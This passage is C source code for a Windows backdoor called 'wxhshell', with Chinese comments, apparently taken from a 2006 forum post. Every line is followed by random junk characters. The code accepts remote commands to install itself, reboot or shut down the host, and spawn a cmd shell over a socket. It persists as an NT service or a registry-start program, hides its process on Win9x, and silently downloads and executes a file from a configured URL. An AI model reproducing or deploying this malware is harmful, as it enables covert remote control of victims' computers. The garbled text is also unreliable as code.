  else { Lk3@E u)  
(''`Ce  
    switch(cmd[0]) { 3QV|@5L`[  
  .'.|s?s  
  // 帮助 >DbG$V<v'  
  case '?': { ;Rwr5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Iupk+x>  
    break; yRvq3>mU  
  } OSkZW  
  // 安装 (#Y2H  
  case 'i': { R_@yj]%H=  
    if(Install()) 4qyL' \d[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @9vz%1B<l  
    else e j!C^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]^Q`CiKd  
    break; x5PQ9Bw,  
    } "F%cn@l  
  // 卸载 vRT1tOQ$  
  case 'r': { jr!x)yd  
    if(Uninstall()) )C|>M'g@v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); evszfCH'J  
    else QKOo # 7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7J>n;8{%?  
    break; vkBngsS  
    } bcj7.rh]'h  
  // 显示 wxhshell 所在路径 9.%{M#j  
  case 'p': { oz[E>%  
    char svExeFile[MAX_PATH]; Keof{>V=CA  
    strcpy(svExeFile,"\n\r"); v5<Ext rV  
      strcat(svExeFile,ExeFile); t[an,3  
        send(wsh,svExeFile,strlen(svExeFile),0); ^$x^JM ]/  
    break; umls=iz  
    } _/MKU!\l  
  // 重启 `7N[rs9|S  
  case 'b': { C@Wm+E~;8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B~~rLo:a  
    if(Boot(REBOOT)) oPWvZI(\&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .[O*bk  
    else { T+2?u.{I  
    closesocket(wsh); vQIoj31  
    ExitThread(0); *5|\if\  
    } #Va@4<4r  
    break; mH}AVje{ `  
    } @+xkd(RfN  
  // 关机 WVwNjQ2PM  
  case 'd': { 0c:CA>F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -?e~S\JH  
    if(Boot(SHUTDOWN)) J@yy2AZnO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q) FL|   
    else { g7d)YUc  
    closesocket(wsh); $>#PhOC  
    ExitThread(0); ADHe! [6q  
    } 9"<)DS  
    break; a(BC(^1!  
    } U'lrdc"Q  
  // 获取shell wetkmd  
  case 's': { j4brDlo?@  
    CmdShell(wsh); l"ih+%S  
    closesocket(wsh); tnKzg21%  
    ExitThread(0); OwDjUKeN  
    break; 5IMh$!/uc  
  } YHeB <v  
  // 退出 Jnv91*>h8  
  case 'x': { !-\*rdE {9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Re.fS6y$>  
    CloseIt(wsh); R8HA X  
    break; *(r85lEou)  
    } p]pFZ";70  
  // 离开 m0\(a_0V  
  case 'q': { qe\j$Cjy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9`c :sop  
    closesocket(wsh); ^. Pn)J  
    WSACleanup(); ]HCt%5  
    exit(1); ]A'e+RD4k  
    break; nre8 F  
        } ~8|$KD4I  
  } ][qZOIk@  
  } &|9?B!,`  
h!)(R<  
  // 提示信息 %7V?7BE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jP}N^  
} R\X=Vg  
  } Dy8Go4  
?mF-zA'4]  
  return; mXa1SZnE   
} du47la 3  
xp,H5 m%  
// shell模块句柄 j[Et+V?  
int CmdShell(SOCKET sock) Vuz!~kLYIn  
{ 8K1+ttjm  
STARTUPINFO si; ZY][LU~l8  
ZeroMemory(&si,sizeof(si)); Vxk0oI k`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R?]>8o,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \3Xt\1qN4  
PROCESS_INFORMATION ProcessInfo; 3btciR!N]  
char cmdline[]="cmd"; lz# inC|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dcp,9"yt%  
  return 0; lUWjm%|  
} Q>z0?%B  
B"{CWH O  
// 自身启动模式 SZyPl9.b  
int StartFromService(void) a_Xh(d$  
{ KXdls(ROP  
typedef struct 8(S'g+p  
{ D{G#|&;  
  DWORD ExitStatus; 9K%E+_7b  
  DWORD PebBaseAddress; P3N f<  
  DWORD AffinityMask; n){\KIU/O  
  DWORD BasePriority; Zi|'lHr  
  ULONG UniqueProcessId; H)(Jjk-O  
  ULONG InheritedFromUniqueProcessId; %Cm4a49FNi  
}   PROCESS_BASIC_INFORMATION; L- =^GNh  
'3<YZWS  
PROCNTQSIP NtQueryInformationProcess; i44KTC"sB  
_s=[z$EN&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iF`E> %#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'RG`DzuF  
3 #jPQ[+  
  HANDLE             hProcess; "h)+fAT|,  
  PROCESS_BASIC_INFORMATION pbi; tb_}w@:kU  
6%:'2;xM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %=NqxF>>  
  if(NULL == hInst ) return 0; u/hD9g~H7K  
67f#Z&r2k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ho\z ^w+T`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v'Lckw@G4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f5`exfdHE  
s<^UAdLnl  
  if (!NtQueryInformationProcess) return 0;  ^mG-O  
2#|Q =rWB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LR`/pet  
  if(!hProcess) return 0; aP4r6lLv+  
N(F9vZOs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VpJ2Qpd=  
!q$IB?8   
  CloseHandle(hProcess); ~Ilgc CF  
;i,yT ?so  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,9q5jOnk  
if(hProcess==NULL) return 0; k deJB-  
33 N5>}  
HMODULE hMod; TNiF l hq  
char procName[255]; HW{+THNj  
unsigned long cbNeeded;  BeP0lZ  
!f"@pR6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o<%Sr*  
R#Ss_y  
  CloseHandle(hProcess); )%UO@4  
9#pl BtQ**  
if(strstr(procName,"services")) return 1; // 以服务启动 6IeHZ)jGj  
~Uga=&  
  return 0; // 注册表启动 v bh\uv&  
} Vwl`A3Y  
bC"#.e  
// 主模块 u QCQ$  
int StartWxhshell(LPSTR lpCmdLine) ;:' A{&0N  
{ $L;7SY?  
  SOCKET wsl; 5w{_WR6,  
BOOL val=TRUE; Jd)|== yD  
  int port=0; {OB\~$TH  
  struct sockaddr_in door; 6B|IbQ^  
t0hg!_$bq  
  if(wscfg.ws_autoins) Install(); "y5c)l(Rg  
MbjH\XRB  
port=atoi(lpCmdLine); x+^iEj`gk  
/SP^fB*y  
if(port<=0) port=wscfg.ws_port; B;_M52-B  
.K:>`~<)  
  WSADATA data; G$`/86A)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4. R >mN[  
`) K1[&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LVO`+:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -w^E~J0*L  
  door.sin_family = AF_INET; wYNh0QlBH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rz%+E0  
  door.sin_port = htons(port); 'N'EC`R  
Z?1.Y7Npr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MheP@ [w|@  
closesocket(wsl); Jf4D">h  
return 1; 6XB9]it6  
} "EHwv2Hm>  
oXb}6YC  
  if(listen(wsl,2) == INVALID_SOCKET) { [%Y Cupr#  
closesocket(wsl); !a4pKN`qLY  
return 1; d94Lc-kq^  
} 72luTR Q  
  Wxhshell(wsl); WEWNFTI  
  WSACleanup(); }&EPH}V2n  
CA:t](xqQ  
return 0; @K2q*d  
#@ lLx?U  
} D1x~d<j  
={8ClUV#  
// 以NT服务方式启动 N(&,+KJ)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }!5"EL(L80  
{ o'r?^ *W  
DWORD   status = 0; -*+7-9A I  
  DWORD   specificError = 0xfffffff; lHr?sMt  
/ey}#SHm,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8 w^i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \*a7DuVw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @k ~Xem%<  
  serviceStatus.dwWin32ExitCode     = 0; :\gdQG  
  serviceStatus.dwServiceSpecificExitCode = 0; ;h3c+7u1  
  serviceStatus.dwCheckPoint       = 0; & P,8 )YA  
  serviceStatus.dwWaitHint       = 0; =d&  
ANi}q9SC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mI9~\k&9  
  if (hServiceStatusHandle==0) return; M>8#is(pV  
oM Q+=  
status = GetLastError(); *|ubH?71%Y  
  if (status!=NO_ERROR) I}$Y[Jve  
{ n$B=Vt,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ws.F=kS>h  
    serviceStatus.dwCheckPoint       = 0; I@7^H48\  
    serviceStatus.dwWaitHint       = 0; #.#T+B+9  
    serviceStatus.dwWin32ExitCode     = status; ZVk_qA%  
    serviceStatus.dwServiceSpecificExitCode = specificError; M)( 5S1ndq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {N/(lB8  
    return; O~l WFaW  
  } #tGW|F  
qeHb0G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `A3"*,|z  
  serviceStatus.dwCheckPoint       = 0; PzNk:O  
  serviceStatus.dwWaitHint       = 0; l]^uVOX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k G4v>  
} Pr<.ld\  
EL5gMs  
// 处理NT服务事件,比如:启动、停止 ]Dd=q6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7;0^r#:87#  
{ Ryr2  
switch(fdwControl) rp+&ax}Wh  
{ 68W&qzw.[r  
case SERVICE_CONTROL_STOP: FE" ksi 9  
  serviceStatus.dwWin32ExitCode = 0; F@)wi0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M7BJ$fA0E  
  serviceStatus.dwCheckPoint   = 0; ^4h/6^b0c  
  serviceStatus.dwWaitHint     = 0; <jY"+@rF  
  { 0a ZplE,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ggXg4~WL  
  } z3[ J>  
  return; |ILj}4ZA7  
case SERVICE_CONTROL_PAUSE: $wub)^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yiWBIJ2Wu9  
  break; r` HtN{6r  
case SERVICE_CONTROL_CONTINUE: ezgP\ct  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ][I}yOD70  
  break; G;>b}\Ng  
case SERVICE_CONTROL_INTERROGATE: 9jCn|+  
  break; d[6[3B  
}; w0q.cj@nd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xOt%H\*k"  
} pmv;M`_|R  
iQ~;to;Y  
// 标准应用程序主函数 D/5 ah_;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .|G([O^H  
{ 294 0M4  
QcU&G*   
// 获取操作系统版本 u|BD=4*  
OsIsNt=GetOsVer(); *G7/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DwMq  
{D={>0  
  // 从命令行安装 JS1$l+1  
  if(strpbrk(lpCmdLine,"iI")) Install(); q5p!Ty"  
,73J#  
  // 下载执行文件 s9>-Q"(y  
if(wscfg.ws_downexe) { &$:1rA_v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jO&sS?  
  WinExec(wscfg.ws_filenam,SW_HIDE); I'Ui` :A  
} 2g$PEwXe  
F\^9=}b_i  
if(!OsIsNt) { :D\M.A  
// 如果时win9x,隐藏进程并且设置为注册表启动 xKi: 2  
HideProc(); q@1b{q#C5  
StartWxhshell(lpCmdLine); fzT|{vG8  
} z' z_6]5  
else K -cRNt  
  if(StartFromService()) Y`eUWCD  
  // 以服务方式启动 x\z* iv  
  StartServiceCtrlDispatcher(DispatchTable); z/dpnGX  
else (P%{Tab  
  // 普通方式启动 lyc ]E 9  
  StartWxhshell(lpCmdLine); [K1RP.  
+*Y/+.4WE$  
return 0; F=?0:2P0bD  
}
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只看该作者 1 发表于: 2006-10-10
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